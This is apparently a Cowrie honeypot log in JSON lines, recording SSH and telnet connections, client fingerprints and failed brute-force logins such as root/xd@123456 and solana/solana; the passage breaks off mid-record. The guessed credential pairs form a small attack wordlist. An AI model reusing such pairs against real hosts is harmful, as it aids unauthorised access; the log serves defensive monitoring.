{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:05.709058Z","src_ip":"2.57.122.238","session":"072f12a98d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:05.813254Z","src_ip":"2.57.122.238","session":"072f12a98d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:06.126668Z","src_ip":"2.57.122.238","session":"072f12a98d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:07.234308Z","src_ip":"2.57.122.238","session":"072f12a98d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":51646,"dst_ip":"159.203.135.109","dst_port":22,"session":"72e583732b72","protocol":"ssh","message":"New connection: 34.39.58.191:51646 (159.203.135.109:22) [session: 72e583732b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:15.418502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:15.433956Z","src_ip":"34.39.58.191","session":"72e583732b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:15.505494Z","src_ip":"34.39.58.191","session":"72e583732b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xd@123456","message":"login attempt [root/xd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:15.815981Z","src_ip":"34.39.58.191","session":"72e583732b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:16.903668Z","src_ip":"34.39.58.191","session":"72e583732b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41544,"dst_ip":"159.203.135.109","dst_port":22,"session":"a77549416dd6","protocol":"ssh","message":"New connection: 159.203.92.129:41544 (159.203.135.109:22) [session: a77549416dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:31.577219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:31.581650Z","src_ip":"159.203.92.129","session":"a77549416dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:31.589462Z","src_ip":"159.203.92.129","session":"a77549416dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc123456","message":"login attempt [abc/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:31.609146Z","src_ip":"159.203.92.129","session":"a77549416dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:32.617138Z","src_ip":"159.203.92.129","session":"a77549416dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55544,"dst_ip":"159.203.135.109","dst_port":22,"session":"e15a59dade45","protocol":"ssh","message":"New connection: 159.203.92.129:55544 (159.203.135.109:22) [session: e15a59dade45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:13.959688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:13.980027Z","src_ip":"159.203.92.129","session":"e15a59dade45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:13.984665Z","src_ip":"159.203.92.129","session":"e15a59dade45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"newserver1","message":"login attempt [abc/newserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:13.998115Z","src_ip":"159.203.92.129","session":"e15a59dade45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:15.006440Z","src_ip":"159.203.92.129","session":"e15a59dade45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00426840782166,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:28.713372Z","src_ip":"185.15.67.94","session":"4607597b834e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00486540794373,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:48.123206Z","src_ip":"185.15.67.94","session":"f328ecbf1e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":39454,"dst_ip":"159.203.135.109","dst_port":23,"session":"c741b22ff525","protocol":"telnet","message":"New connection: 185.15.67.94:39454 (159.203.135.109:23) [session: c741b22ff525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:54.752751Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60290,"dst_ip":"159.203.135.109","dst_port":22,"session":"79e84f620bf1","protocol":"ssh","message":"New connection: 159.203.92.129:60290 (159.203.135.109:22) [session: 79e84f620bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:56.263586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:56.268953Z","src_ip":"159.203.92.129","session":"79e84f620bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:56.273988Z","src_ip":"159.203.92.129","session":"79e84f620bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcc","password":"123","message":"login attempt [abcc/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:56.288400Z","src_ip":"159.203.92.129","session":"79e84f620bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:02:57.298787Z","src_ip":"159.203.92.129","session":"79e84f620bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":42202,"dst_ip":"159.203.135.109","dst_port":22,"session":"5435ca49bfcc","protocol":"ssh","message":"New connection: 2.57.122.238:42202 (159.203.135.109:22) [session: 5435ca49bfcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:21.993535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:21.998354Z","src_ip":"2.57.122.238","session":"5435ca49bfcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:22.094131Z","src_ip":"2.57.122.238","session":"5435ca49bfcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:22.380928Z","src_ip":"2.57.122.238","session":"5435ca49bfcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:23.478541Z","src_ip":"2.57.122.238","session":"5435ca49bfcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59244,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3e7555c1c7d","protocol":"ssh","message":"New connection: 159.203.92.129:59244 (159.203.135.109:22) [session: f3e7555c1c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:38.832079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:38.845719Z","src_ip":"159.203.92.129","session":"f3e7555c1c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:38.849829Z","src_ip":"159.203.92.129","session":"f3e7555c1c7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcc","password":"123456","message":"login attempt [abcc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:38.939914Z","src_ip":"159.203.92.129","session":"f3e7555c1c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:03:39.947406Z","src_ip":"159.203.92.129","session":"f3e7555c1c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48792,"dst_ip":"159.203.135.109","dst_port":22,"session":"1869d90aeb37","protocol":"ssh","message":"New connection: 159.203.92.129:48792 (159.203.135.109:22) [session: 1869d90aeb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:04:21.497981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:04:21.502941Z","src_ip":"159.203.92.129","session":"1869d90aeb37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2